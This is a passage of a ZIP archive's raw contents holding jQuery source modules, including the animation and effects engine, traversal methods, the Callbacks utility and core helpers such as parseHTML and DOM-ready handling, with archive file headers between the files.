], function( jQuery, camelCase, document, isFunction, rcssNum, rnothtmlwhite, cssExpand,
	isHiddenWithinTree, swap, adjustCSS, dataPriv, showHide ) {

"use strict";

var
	fxNow, inProgress,
	rfxtypes = /^(?:toggle|show|hide)$/,
	rrun = /queueHooks$/;

function schedule() {
	if ( inProgress ) {
		if ( document.hidden === false && window.requestAnimationFrame ) {
			window.requestAnimationFrame( schedule );
		} else {
			window.setTimeout( schedule, jQuery.fx.interval );
		}

		jQuery.fx.tick();
	}
}

// Animations created synchronously will run synchronously
function createFxNow() {
	window.setTimeout( function() {
		fxNow = undefined;
	} );
	return ( fxNow = Date.now() );
}

// Generate parameters to create a standard animation
function genFx( type, includeWidth ) {
	var which,
		i = 0,
		attrs = { height: type };

	// If we include width, step value is 1 to do all cssExpand values,
	// otherwise step value is 2 to skip over Left and Right
	includeWidth = includeWidth ? 1 : 0;
	for ( ; i < 4; i += 2 - includeWidth ) {
		which = cssExpand[ i ];
		attrs[ "margin" + which ] = attrs[ "padding" + which ] = type;
	}

	if ( includeWidth ) {
		attrs.opacity = attrs.width = type;
	}

	return attrs;
}

function createTween( value, prop, animation ) {
	var tween,
		collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ),
		index = 0,
		length = collection.length;
	for ( ; index < length; index++ ) {
		if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) {

			// We're done with this property
			return tween;
		}
	}
}

function defaultPrefilter( elem, props, opts ) {
	var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display,
		isBox = "width" in props || "height" in props,
		anim = this,
		orig = {},
		style = elem.style,
		hidden = elem.nodeType && isHiddenWithinTree( elem ),
		dataShow = dataPriv.get( elem, "fxshow" );

	// Queue-skipping animations hijack the fx hooks
	if ( !opts.queue ) {
		hooks = jQuery._queueHooks( elem, "fx" );
		if ( hooks.unqueued == null ) {
			hooks.unqueued = 0;
			oldfire = hooks.empty.fire;
			hooks.empty.fire = function() {
				if ( !hooks.unqueued ) {
					oldfire();
				}
			};
		}
		hooks.unqueued++;

		anim.always( function() {

			// Ensure the complete handler is called before this completes
			anim.always( function() {
				hooks.unqueued--;
				if ( !jQuery.queue( elem, "fx" ).length ) {
					hooks.empty.fire();
				}
			} );
		} );
	}

	// Detect show/hide animations
	for ( prop in props ) {
		value = props[ prop ];
		if ( rfxtypes.test( value ) ) {
			delete props[ prop ];
			toggle = toggle || value === "toggle";
			if ( value === ( hidden ? "hide" : "show" ) ) {

				// Pretend to be hidden if this is a "show" and
				// there is still data from a stopped show/hide
				if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) {
					hidden = true;

				// Ignore all other no-op show/hide data
				} else {
					continue;
				}
			}
			orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );
		}
	}

	// Bail out if this is a no-op like .hide().hide()
	propTween = !jQuery.isEmptyObject( props );
	if ( !propTween && jQuery.isEmptyObject( orig ) ) {
		return;
	}

	// Restrict "overflow" and "display" styles during box animations
	if ( isBox && elem.nodeType === 1 ) {

		// Support: IE <=9 - 11, Edge 12 - 15
		// Record all 3 overflow attributes because IE does not infer the shorthand
		// from identically-valued overflowX and overflowY and Edge just mirrors
		// the overflowX value there.
		opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];

		// Identify a display type, preferring old show/hide data over the CSS cascade
		restoreDisplay = dataShow && dataShow.display;
		if ( restoreDisplay == null ) {
			restoreDisplay = dataPriv.get( elem, "display" );
		}
		display = jQuery.css( elem, "display" );
		if ( display === "none" ) {
			if ( restoreDisplay ) {
				display = restoreDisplay;
			} else {

				// Get nonempty value(s) by temporarily forcing visibility
				showHide( [ elem ], true );
				restoreDisplay = elem.style.display || restoreDisplay;
				display = jQuery.css( elem, "display" );
				showHide( [ elem ] );
			}
		}

		// Animate inline elements as inline-block
		if ( display === "inline" || display === "inline-block" && restoreDisplay != null ) {
			if ( jQuery.css( elem, "float" ) === "none" ) {

				// Restore the original display value at the end of pure show/hide animations
				if ( !propTween ) {
					anim.done( function() {
						style.display = restoreDisplay;
					} );
					if ( restoreDisplay == null ) {
						display = style.display;
						restoreDisplay = display === "none" ? "" : display;
					}
				}
				style.display = "inline-block";
			}
		}
	}

	if ( opts.overflow ) {
		style.overflow = "hidden";
		anim.always( function() {
			style.overflow = opts.overflow[ 0 ];
			style.overflowX = opts.overflow[ 1 ];
			style.overflowY = opts.overflow[ 2 ];
		} );
	}

	// Implement show/hide animations
	propTween = false;
	for ( prop in orig ) {

		// General show/hide setup for this element animation
		if ( !propTween ) {
			if ( dataShow ) {
				if ( "hidden" in dataShow ) {
					hidden = dataShow.hidden;
				}
			} else {
				dataShow = dataPriv.access( elem, "fxshow", { display: restoreDisplay } );
			}

			// Store hidden/visible for toggle so `.stop().toggle()` "reverses"
			if ( toggle ) {
				dataShow.hidden = !hidden;
			}

			// Show elements before animating them
			if ( hidden ) {
				showHide( [ elem ], true );
			}

			/* eslint-disable no-loop-func */

			anim.done( function() {

			/* eslint-enable no-loop-func */

				// The final step of a "hide" animation is actually hiding the element
				if ( !hidden ) {
					showHide( [ elem ] );
				}
				dataPriv.remove( elem, "fxshow" );
				for ( prop in orig ) {
					jQuery.style( elem, prop, orig[ prop ] );
				}
			} );
		}

		// Per-property setup
		propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );
		if ( !( prop in dataShow ) ) {
			dataShow[ prop ] = propTween.start;
			if ( hidden ) {
				propTween.end = propTween.start;
				propTween.start = 0;
			}
		}
	}
}

function propFilter( props, specialEasing ) {
	var index, name, easing, value, hooks;

	// camelCase, specialEasing and expand cssHook pass
	for ( index in props ) {
		name = camelCase( index );
		easing = specialEasing[ name ];
		value = props[ index ];
		if ( Array.isArray( value ) ) {
			easing = value[ 1 ];
			value = props[ index ] = value[ 0 ];
		}

		if ( index !== name ) {
			props[ name ] = value;
			delete props[ index ];
		}

		hooks = jQuery.cssHooks[ name ];
		if ( hooks && "expand" in hooks ) {
			value = hooks.expand( value );
			delete props[ name ];

			// Not quite $.extend, this won't overwrite existing keys.
			// Reusing 'index' because we have the correct "name"
			for ( index in value ) {
				if ( !( index in props ) ) {
					props[ index ] = value[ index ];
					specialEasing[ index ] = easing;
				}
			}
		} else {
			specialEasing[ name ] = easing;
		}
	}
}

function Animation( elem, properties, options ) {
	var result,
		stopped,
		index = 0,
		length = Animation.prefilters.length,
		deferred = jQuery.Deferred().always( function() {

			// Don't match elem in the :animated selector
			delete tick.elem;
		} ),
		tick = function() {
			if ( stopped ) {
				return false;
			}
			var currentTime = fxNow || createFxNow(),
				remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),

				// Support: Android 2.3 only
				// Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497)
				temp = remaining / animation.duration || 0,
				percent = 1 - temp,
				index = 0,
				length = animation.tweens.length;

			for ( ; index < length; index++ ) {
				animation.tweens[ index ].run( percent );
			}

			deferred.notifyWith( elem, [ animation, percent, remaining ] );

			// If there's more to do, yield
			if ( percent < 1 && length ) {
				return remaining;
			}

			// If this was an empty animation, synthesize a final progress notification
			if ( !length ) {
				deferred.notifyWith( elem, [ animation, 1, 0 ] );
			}

			// Resolve the animation and report its conclusion
			deferred.resolveWith( elem, [ animation ] );
			return false;
		},
		animation = deferred.promise( {
			elem: elem,
			props: jQuery.extend( {}, properties ),
			opts: jQuery.extend( true, {
				specialEasing: {},
				easing: jQuery.easing._default
			}, options ),
			originalProperties: properties,
			originalOptions: options,
			startTime: fxNow || createFxNow(),
			duration: options.duration,
			tweens: [],
			createTween: function( prop, end ) {
				var tween = jQuery.Tween( elem, animation.opts, prop, end,
						animation.opts.specialEasing[ prop ] || animation.opts.easing );
				animation.tweens.push( tween );
				return tween;
			},
			stop: function( gotoEnd ) {
				var index = 0,

					// If we are going to the end, we want to run all the tweens
					// otherwise we skip this part
					length = gotoEnd ? animation.tweens.length : 0;
				if ( stopped ) {
					return this;
				}
				stopped = true;
				for ( ; index < length; index++ ) {
					animation.tweens[ index ].run( 1 );
				}

				// Resolve when we played the last frame; otherwise, reject
				if ( gotoEnd ) {
					deferred.notifyWith( elem, [ animation, 1, 0 ] );
					deferred.resolveWith( elem, [ animation, gotoEnd ] );
				} else {
					deferred.rejectWith( elem, [ animation, gotoEnd ] );
				}
				return this;
			}
		} ),
		props = animation.props;

	propFilter( props, animation.opts.specialEasing );

	for ( ; index < length; index++ ) {
		result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts );
		if ( result ) {
			if ( isFunction( result.stop ) ) {
				jQuery._queueHooks( animation.elem, animation.opts.queue ).stop =
					result.stop.bind( result );
			}
			return result;
		}
	}

	jQuery.map( props, createTween, animation );

	if ( isFunction( animation.opts.start ) ) {
		animation.opts.start.call( elem, animation );
	}

	// Attach callbacks from options
	animation
		.progress( animation.opts.progress )
		.done( animation.opts.done, animation.opts.complete )
		.fail( animation.opts.fail )
		.always( animation.opts.always );

	jQuery.fx.timer(
		jQuery.extend( tick, {
			elem: elem,
			anim: animation,
			queue: animation.opts.queue
		} )
	);

	return animation;
}

jQuery.Animation = jQuery.extend( Animation, {

	tweeners: {
		"*": [ function( prop, value ) {
			var tween = this.createTween( prop, value );
			adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween );
			return tween;
		} ]
	},

	tweener: function( props, callback ) {
		if ( isFunction( props ) ) {
			callback = props;
			props = [ "*" ];
		} else {
			props = props.match( rnothtmlwhite );
		}

		var prop,
			index = 0,
			length = props.length;

		for ( ; index < length; index++ ) {
			prop = props[ index ];
			Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || [];
			Animation.tweeners[ prop ].unshift( callback );
		}
	},

	prefilters: [ defaultPrefilter ],

	prefilter: function( callback, prepend ) {
		if ( prepend ) {
			Animation.prefilters.unshift( callback );
		} else {
			Animation.prefilters.push( callback );
		}
	}
} );

jQuery.speed = function( speed, easing, fn ) {
	var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : {
		complete: fn || !fn && easing ||
			isFunction( speed ) && speed,
		duration: speed,
		easing: fn && easing || easing && !isFunction( easing ) && easing
	};

	// Go to the end state if fx are off
	if ( jQuery.fx.off ) {
		opt.duration = 0;

	} else {
		if ( typeof opt.duration !== "number" ) {
			if ( opt.duration in jQuery.fx.speeds ) {
				opt.duration = jQuery.fx.speeds[ opt.duration ];

			} else {
				opt.duration = jQuery.fx.speeds._default;
			}
		}
	}

	// Normalize opt.queue - true/undefined/null -> "fx"
	if ( opt.queue == null || opt.queue === true ) {
		opt.queue = "fx";
	}

	// Queueing
	opt.old = opt.complete;

	opt.complete = function() {
		if ( isFunction( opt.old ) ) {
			opt.old.call( this );
		}

		if ( opt.queue ) {
			jQuery.dequeue( this, opt.queue );
		}
	};

	return opt;
};

jQuery.fn.extend( {
	fadeTo: function( speed, to, easing, callback ) {

		// Show any hidden elements after setting opacity to 0
		return this.filter( isHiddenWithinTree ).css( "opacity", 0 ).show()

			// Animate to the value specified
			.end().animate( { opacity: to }, speed, easing, callback );
	},
	animate: function( prop, speed, easing, callback ) {
		var empty = jQuery.isEmptyObject( prop ),
			optall = jQuery.speed( speed, easing, callback ),
			doAnimation = function() {

				// Operate on a copy of prop so per-property easing won't be lost
				var anim = Animation( this, jQuery.extend( {}, prop ), optall );

				// Empty animations, or finishing resolves immediately
				if ( empty || dataPriv.get( this, "finish" ) ) {
					anim.stop( true );
				}
			};
			doAnimation.finish = doAnimation;

		return empty || optall.queue === false ?
			this.each( doAnimation ) :
			this.queue( optall.queue, doAnimation );
	},
	stop: function( type, clearQueue, gotoEnd ) {
		var stopQueue = function( hooks ) {
			var stop = hooks.stop;
			delete hooks.stop;
			stop( gotoEnd );
		};

		if ( typeof type !== "string" ) {
			gotoEnd = clearQueue;
			clearQueue = type;
			type = undefined;
		}
		if ( clearQueue && type !== false ) {
			this.queue( type || "fx", [] );
		}

		return this.each( function() {
			var dequeue = true,
				index = type != null && type + "queueHooks",
				timers = jQuery.timers,
				data = dataPriv.get( this );

			if ( index ) {
				if ( data[ index ] && data[ index ].stop ) {
					stopQueue( data[ index ] );
				}
			} else {
				for ( index in data ) {
					if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
						stopQueue( data[ index ] );
					}
				}
			}

			for ( index = timers.length; index--; ) {
				if ( timers[ index ].elem === this &&
					( type == null || timers[ index ].queue === type ) ) {

					timers[ index ].anim.stop( gotoEnd );
					dequeue = false;
					timers.splice( index, 1 );
				}
			}

			// Start the next in the queue if the last step wasn't forced.
			// Timers currently will call their complete callbacks, which
			// will dequeue but only if they were gotoEnd.
			if ( dequeue || !gotoEnd ) {
				jQuery.dequeue( this, type );
			}
		} );
	},
	finish: function( type ) {
		if ( type !== false ) {
			type = type || "fx";
		}
		return this.each( function() {
			var index,
				data = dataPriv.get( this ),
				queue = data[ type + "queue" ],
				hooks = data[ type + "queueHooks" ],
				timers = jQuery.timers,
				length = queue ? queue.length : 0;

			// Enable finishing flag on private data
			data.finish = true;

			// Empty the queue first
			jQuery.queue( this, type, [] );

			if ( hooks && hooks.stop ) {
				hooks.stop.call( this, true );
			}

			// Look for any active animations, and finish them
			for ( index = timers.length; index--; ) {
				if ( timers[ index ].elem === this && timers[ index ].queue === type ) {
					timers[ index ].anim.stop( true );
					timers.splice( index, 1 );
				}
			}

			// Look for any animations in the old queue and finish them
			for ( index = 0; index < length; index++ ) {
				if ( queue[ index ] && queue[ index ].finish ) {
					queue[ index ].finish.call( this );
				}
			}

			// Turn off finishing flag
			delete data.finish;
		} );
	}
} );

jQuery.each( [ "toggle", "show", "hide" ], function( i, name ) {
	var cssFn = jQuery.fn[ name ];
	jQuery.fn[ name ] = function( speed, easing, callback ) {
		return speed == null || typeof speed === "boolean" ?
			cssFn.apply( this, arguments ) :
			this.animate( genFx( name, true ), speed, easing, callback );
	};
} );

// Generate shortcuts for custom animations
jQuery.each( {
	slideDown: genFx( "show" ),
	slideUp: genFx( "hide" ),
	slideToggle: genFx( "toggle" ),
	fadeIn: { opacity: "show" },
	fadeOut: { opacity: "hide" },
	fadeToggle: { opacity: "toggle" }
}, function( name, props ) {
	jQuery.fn[ name ] = function( speed, easing, callback ) {
		return this.animate( props, speed, easing, callback );
	};
} );

jQuery.timers = [];
jQuery.fx.tick = function() {
	var timer,
		i = 0,
		timers = jQuery.timers;

	fxNow = Date.now();

	for ( ; i < timers.length; i++ ) {
		timer = timers[ i ];

		// Run the timer and safely remove it when done (allowing for external removal)
		if ( !timer() && timers[ i ] === timer ) {
			timers.splice( i--, 1 );
		}
	}

	if ( !timers.length ) {
		jQuery.fx.stop();
	}
	fxNow = undefined;
};

jQuery.fx.timer = function( timer ) {
	jQuery.timers.push( timer );
	jQuery.fx.start();
};

jQuery.fx.interval = 13;
jQuery.fx.start = function() {
	if ( inProgress ) {
		return;
	}

	inProgress = true;
	schedule();
};

jQuery.fx.stop = function() {
	inProgress = null;
};

jQuery.fx.speeds = {
	slow: 600,
	fast: 200,

	// Default speed
	_default: 400
};

return jQuery;
} );
PKg��\�����	jquery.jsnu�[���define( [
	"./core",
	"./selector",
	"./traversing",
	"./callbacks",
	"./deferred",
	"./deferred/exceptionHook",
	"./core/ready",
	"./data",
	"./queue",
	"./queue/delay",
	"./attributes",
	"./event",
	"./event/focusin",
	"./manipulation",
	"./manipulation/_evalUrl",
	"./wrap",
	"./css",
	"./css/hiddenVisibleSelectors",
	"./serialize",
	"./ajax",
	"./ajax/xhr",
	"./ajax/script",
	"./ajax/jsonp",
	"./ajax/load",
	"./event/ajax",
	"./effects",
	"./effects/animatedSelector",
	"./offset",
	"./dimensions",
	"./deprecated",
	"./exports/amd",
	"./exports/global"
], function( jQuery ) {

"use strict";

return jQuery;

} );
PKg��\1o�W��selector-sizzle.jsnu�[���define( [
	"./core",
	"../external/sizzle/dist/sizzle"
], function( jQuery, Sizzle ) {

"use strict";

jQuery.find = Sizzle;
jQuery.expr = Sizzle.selectors;

// Deprecated
jQuery.expr[ ":" ] = jQuery.expr.pseudos;
jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort;
jQuery.text = Sizzle.getText;
jQuery.isXMLDoc = Sizzle.isXML;
jQuery.contains = Sizzle.contains;
jQuery.escapeSelector = Sizzle.escape;

} );
PKg��\�yEEselector.jsnu�[���define( [ "./selector-sizzle" ], function() {
	"use strict";
} );
PKg��\9�ٍ��
traversing.jsnu�[���define( [
	"./core",
	"./var/indexOf",
	"./traversing/var/dir",
	"./traversing/var/siblings",
	"./traversing/var/rneedsContext",
	"./core/nodeName",

	"./core/init",
	"./traversing/findFilter",
	"./selector"
], function( jQuery, indexOf, dir, siblings, rneedsContext, nodeName ) {

"use strict";

var rparentsprev = /^(?:parents|prev(?:Until|All))/,

	// Methods guaranteed to produce a unique set when starting from a unique set
	guaranteedUnique = {
		children: true,
		contents: true,
		next: true,
		prev: true
	};

jQuery.fn.extend( {
	has: function( target ) {
		var targets = jQuery( target, this ),
			l = targets.length;

		return this.filter( function() {
			var i = 0;
			for ( ; i < l; i++ ) {
				if ( jQuery.contains( this, targets[ i ] ) ) {
					return true;
				}
			}
		} );
	},

	closest: function( selectors, context ) {
		var cur,
			i = 0,
			l = this.length,
			matched = [],
			targets = typeof selectors !== "string" && jQuery( selectors );

		// Positional selectors never match, since there's no _selection_ context
		if ( !rneedsContext.test( selectors ) ) {
			for ( ; i < l; i++ ) {
				for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) {

					// Always skip document fragments
					if ( cur.nodeType < 11 && ( targets ?
						targets.index( cur ) > -1 :

						// Don't pass non-elements to Sizzle
						cur.nodeType === 1 &&
							jQuery.find.matchesSelector( cur, selectors ) ) ) {

						matched.push( cur );
						break;
					}
				}
			}
		}

		return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched );
	},

	// Determine the position of an element within the set
	index: function( elem ) {

		// No argument, return index in parent
		if ( !elem ) {
			return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;
		}

		// Index in selector
		if ( typeof elem === "string" ) {
			return indexOf.call( jQuery( elem ), this[ 0 ] );
		}

		// Locate the position of the desired element
		return indexOf.call( this,

			// If it receives a jQuery object, the first element is used
			elem.jquery ? elem[ 0 ] : elem
		);
	},

	add: function( selector, context ) {
		return this.pushStack(
			jQuery.uniqueSort(
				jQuery.merge( this.get(), jQuery( selector, context ) )
			)
		);
	},

	addBack: function( selector ) {
		return this.add( selector == null ?
			this.prevObject : this.prevObject.filter( selector )
		);
	}
} );

function sibling( cur, dir ) {
	while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {}
	return cur;
}

jQuery.each( {
	parent: function( elem ) {
		var parent = elem.parentNode;
		return parent && parent.nodeType !== 11 ? parent : null;
	},
	parents: function( elem ) {
		return dir( elem, "parentNode" );
	},
	parentsUntil: function( elem, i, until ) {
		return dir( elem, "parentNode", until );
	},
	next: function( elem ) {
		return sibling( elem, "nextSibling" );
	},
	prev: function( elem ) {
		return sibling( elem, "previousSibling" );
	},
	nextAll: function( elem ) {
		return dir( elem, "nextSibling" );
	},
	prevAll: function( elem ) {
		return dir( elem, "previousSibling" );
	},
	nextUntil: function( elem, i, until ) {
		return dir( elem, "nextSibling", until );
	},
	prevUntil: function( elem, i, until ) {
		return dir( elem, "previousSibling", until );
	},
	siblings: function( elem ) {
		return siblings( ( elem.parentNode || {} ).firstChild, elem );
	},
	children: function( elem ) {
		return siblings( elem.firstChild );
	},
	contents: function( elem ) {
        if ( nodeName( elem, "iframe" ) ) {
            return elem.contentDocument;
        }

        // Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only
        // Treat the template element as a regular one in browsers that
        // don't support it.
        if ( nodeName( elem, "template" ) ) {
            elem = elem.content || elem;
        }

        return jQuery.merge( [], elem.childNodes );
	}
}, function( name, fn ) {
	jQuery.fn[ name ] = function( until, selector ) {
		var matched = jQuery.map( this, fn, until );

		if ( name.slice( -5 ) !== "Until" ) {
			selector = until;
		}

		if ( selector && typeof selector === "string" ) {
			matched = jQuery.filter( selector, matched );
		}

		if ( this.length > 1 ) {

			// Remove duplicates
			if ( !guaranteedUnique[ name ] ) {
				jQuery.uniqueSort( matched );
			}

			// Reverse order for parents* and prev-derivatives
			if ( rparentsprev.test( name ) ) {
				matched.reverse();
			}
		}

		return this.pushStack( matched );
	};
} );

return jQuery;
} );
PKg��\���callbacks.jsnu�[���define( [
	"./core",
	"./core/toType",
	"./var/isFunction",
	"./var/rnothtmlwhite"
], function( jQuery, toType, isFunction, rnothtmlwhite ) {

"use strict";

// Convert String-formatted options into Object-formatted ones
function createOptions( options ) {
	var object = {};
	jQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) {
		object[ flag ] = true;
	} );
	return object;
}

/*
 * Create a callback list using the following parameters:
 *
 *	options: an optional list of space-separated options that will change how
 *			the callback list behaves or a more traditional option object
 *
 * By default a callback list will act like an event callback list and can be
 * "fired" multiple times.
 *
 * Possible options:
 *
 *	once:			will ensure the callback list can only be fired once (like a Deferred)
 *
 *	memory:			will keep track of previous values and will call any callback added
 *					after the list has been fired right away with the latest "memorized"
 *					values (like a Deferred)
 *
 *	unique:			will ensure a callback can only be added once (no duplicate in the list)
 *
 *	stopOnFalse:	interrupt callings when a callback returns false
 *
 */
jQuery.Callbacks = function( options ) {

	// Convert options from String-formatted to Object-formatted if needed
	// (we check in cache first)
	options = typeof options === "string" ?
		createOptions( options ) :
		jQuery.extend( {}, options );

	var // Flag to know if list is currently firing
		firing,

		// Last fire value for non-forgettable lists
		memory,

		// Flag to know if list was already fired
		fired,

		// Flag to prevent firing
		locked,

		// Actual callback list
		list = [],

		// Queue of execution data for repeatable lists
		queue = [],

		// Index of currently firing callback (modified by add/remove as needed)
		firingIndex = -1,

		// Fire callbacks
		fire = function() {

			// Enforce single-firing
			locked = locked || options.once;

			// Execute callbacks for all pending executions,
			// respecting firingIndex overrides and runtime changes
			fired = firing = true;
			for ( ; queue.length; firingIndex = -1 ) {
				memory = queue.shift();
				while ( ++firingIndex < list.length ) {

					// Run callback and check for early termination
					if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false &&
						options.stopOnFalse ) {

						// Jump to end and forget the data so .add doesn't re-fire
						firingIndex = list.length;
						memory = false;
					}
				}
			}

			// Forget the data if we're done with it
			if ( !options.memory ) {
				memory = false;
			}

			firing = false;

			// Clean up if we're done firing for good
			if ( locked ) {

				// Keep an empty list if we have data for future add calls
				if ( memory ) {
					list = [];

				// Otherwise, this object is spent
				} else {
					list = "";
				}
			}
		},

		// Actual Callbacks object
		self = {

			// Add a callback or a collection of callbacks to the list
			add: function() {
				if ( list ) {

					// If we have memory from a past run, we should fire after adding
					if ( memory && !firing ) {
						firingIndex = list.length - 1;
						queue.push( memory );
					}

					( function add( args ) {
						jQuery.each( args, function( _, arg ) {
							if ( isFunction( arg ) ) {
								if ( !options.unique || !self.has( arg ) ) {
									list.push( arg );
								}
							} else if ( arg && arg.length && toType( arg ) !== "string" ) {

								// Inspect recursively
								add( arg );
							}
						} );
					} )( arguments );

					if ( memory && !firing ) {
						fire();
					}
				}
				return this;
			},

			// Remove a callback from the list
			remove: function() {
				jQuery.each( arguments, function( _, arg ) {
					var index;
					while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
						list.splice( index, 1 );

						// Handle firing indexes
						if ( index <= firingIndex ) {
							firingIndex--;
						}
					}
				} );
				return this;
			},

			// Check if a given callback is in the list.
			// If no argument is given, return whether or not list has callbacks attached.
			has: function( fn ) {
				return fn ?
					jQuery.inArray( fn, list ) > -1 :
					list.length > 0;
			},

			// Remove all callbacks from the list
			empty: function() {
				if ( list ) {
					list = [];
				}
				return this;
			},

			// Disable .fire and .add
			// Abort any current/pending executions
			// Clear all callbacks and values
			disable: function() {
				locked = queue = [];
				list = memory = "";
				return this;
			},
			disabled: function() {
				return !list;
			},

			// Disable .fire
			// Also disable .add unless we have memory (since it would have no effect)
			// Abort any pending executions
			lock: function() {
				locked = queue = [];
				if ( !memory && !firing ) {
					list = memory = "";
				}
				return this;
			},
			locked: function() {
				return !!locked;
			},

			// Call all callbacks with the given context and arguments
			fireWith: function( context, args ) {
				if ( !locked ) {
					args = args || [];
					args = [ context, args.slice ? args.slice() : args ];
					queue.push( args );
					if ( !firing ) {
						fire();
					}
				}
				return this;
			},

			// Call all the callbacks with the given arguments
			fire: function() {
				self.fireWith( this, arguments );
				return this;
			},

			// To know if the callbacks have already been called at least once
			fired: function() {
				return !!fired;
			}
		};

	return self;
};

return jQuery;
} );
PKg��\�O�xxcore/stripAndCollapse.jsnu�[���define( [
	"../var/rnothtmlwhite"
], function( rnothtmlwhite ) {
	"use strict";

	// Strip and collapse whitespace according to HTML spec
	// https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
	function stripAndCollapse( value ) {
		var tokens = value.match( rnothtmlwhite ) || [];
		return tokens.join( " " );
	}

	return stripAndCollapse;
} );
PKg��\
�jf9	9	core/ready-no-deferred.jsnu�[���define( [
	"../core",
	"../var/document",
	"../var/isFunction"
], function( jQuery, document, isFunction ) {

"use strict";

var readyCallbacks = [],
	whenReady = function( fn ) {
		readyCallbacks.push( fn );
	},
	executeReady = function( fn ) {

		// Prevent errors from freezing future callback execution (gh-1823)
		// Not backwards-compatible as this does not execute sync
		window.setTimeout( function() {
			fn.call( document, jQuery );
		} );
	};

jQuery.fn.ready = function( fn ) {
	whenReady( fn );
	return this;
};

jQuery.extend( {

	// Is the DOM ready to be used? Set to true once it occurs.
	isReady: false,

	// A counter to track how many items to wait for before
	// the ready event fires. See #6781
	readyWait: 1,

	ready: function( wait ) {

		// Abort if there are pending holds or we're already ready
		if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
			return;
		}

		// Remember that the DOM is ready
		jQuery.isReady = true;

		// If a normal DOM Ready event fired, decrement, and wait if need be
		if ( wait !== true && --jQuery.readyWait > 0 ) {
			return;
		}

		whenReady = function( fn ) {
			readyCallbacks.push( fn );

			while ( readyCallbacks.length ) {
				fn = readyCallbacks.shift();
				if ( isFunction( fn ) ) {
					executeReady( fn );
				}
			}
		};

		whenReady();
	}
} );

// Make jQuery.ready Promise consumable (gh-1778)
jQuery.ready.then = jQuery.fn.ready;

/**
 * The ready event handler and self cleanup method
 */
function completed() {
	document.removeEventListener( "DOMContentLoaded", completed );
	window.removeEventListener( "load", completed );
	jQuery.ready();
}

// Catch cases where $(document).ready() is called
// after the browser event has already occurred.
// Support: IE9-10 only
// Older IE sometimes signals "interactive" too soon
if ( document.readyState === "complete" ||
	( document.readyState !== "loading" && !document.documentElement.doScroll ) ) {

	// Handle it asynchronously to allow scripts the opportunity to delay ready
	window.setTimeout( jQuery.ready );

} else {

	// Use the handy event callback
	document.addEventListener( "DOMContentLoaded", completed );

	// A fallback to window.onload, that will always work
	window.addEventListener( "load", completed );
}

} );
PKg��\��=M��core/support.jsnu�[���define( [
	"../var/document",
	"../var/support"
], function( document, support ) {

"use strict";

// Support: Safari 8 only
// In Safari 8 documents created via document.implementation.createHTMLDocument
// collapse sibling forms: the second one becomes a child of the first one.
// Because of that, this security measure has to be disabled in Safari 8.
// https://bugs.webkit.org/show_bug.cgi?id=137337
support.createHTMLDocument = ( function() {
	var body = document.implementation.createHTMLDocument( "" ).body;
	body.innerHTML = "<form></form><form></form>";
	return body.childNodes.length === 2;
} )();

return support;
} );
PKg��\(�0��core/parseHTML.jsnu�[���define( [
	"../core",
	"../var/document",
	"./var/rsingleTag",
	"../manipulation/buildFragment",

	// This is the only module that needs core/support
	"./support"
], function( jQuery, document, rsingleTag, buildFragment, support ) {

"use strict";

// Argument "data" should be string of html
// context (optional): If specified, the fragment will be created in this context,
// defaults to document
// keepScripts (optional): If true, will include scripts passed in the html string
jQuery.parseHTML = function( data, context, keepScripts ) {
	if ( typeof data !== "string" ) {
		return [];
	}
	if ( typeof context === "boolean" ) {
		keepScripts = context;
		context = false;
	}

	var base, parsed, scripts;

	if ( !context ) {

		// Stop scripts or inline event handlers from being executed immediately
		// by using document.implementation
		if ( support.createHTMLDocument ) {
			context = document.implementation.createHTMLDocument( "" );

			// Set the base href for the created document
			// so any parsed elements with URLs
			// are based on the document's URL (gh-2965)
			base = context.createElement( "base" );
			base.href = document.location.href;
			context.head.appendChild( base );
		} else {
			context = document;
		}
	}

	parsed = rsingleTag.exec( data );
	scripts = !keepScripts && [];

	// Single tag
	if ( parsed ) {
		return [ context.createElement( parsed[ 1 ] ) ];
	}

	parsed = buildFragment( [ data ], context, scripts );

	if ( scripts && scripts.length ) {
		jQuery( scripts ).remove();
	}

	return jQuery.merge( [], parsed.childNodes );
};

return jQuery.parseHTML;

} );
PKg��\�Z����core/var/rsingleTag.jsnu�[���define( function() {
	"use strict";

	// Match a standalone tag
	return ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i );
} );
PKg��\i����core/readyException.jsnu�[���define( [
	"../core"
], function( jQuery ) {

"use strict";

jQuery.readyException = function( error ) {
	window.setTimeout( function() {
		throw error;
	} );
};

} );
PKg��\�Y/��core/nodeName.jsnu�[���define( function() {

"use strict";

function nodeName( elem, name ) {

  return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();

};

return nodeName;

} );
PKg��\2ODggcore/access.jsnu�[���define( [
	"../core",
	"../core/toType",
	"../var/isFunction"
], function( jQuery, toType, isFunction ) {

"use strict";

// Multifunctional method to get and set values of a collection
// The value/s can optionally be executed if it's a function
var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
	var i = 0,
		len = elems.length,
		bulk = key == null;

	// Sets many values
	if ( toType( key ) === "object" ) {
		chainable = true;
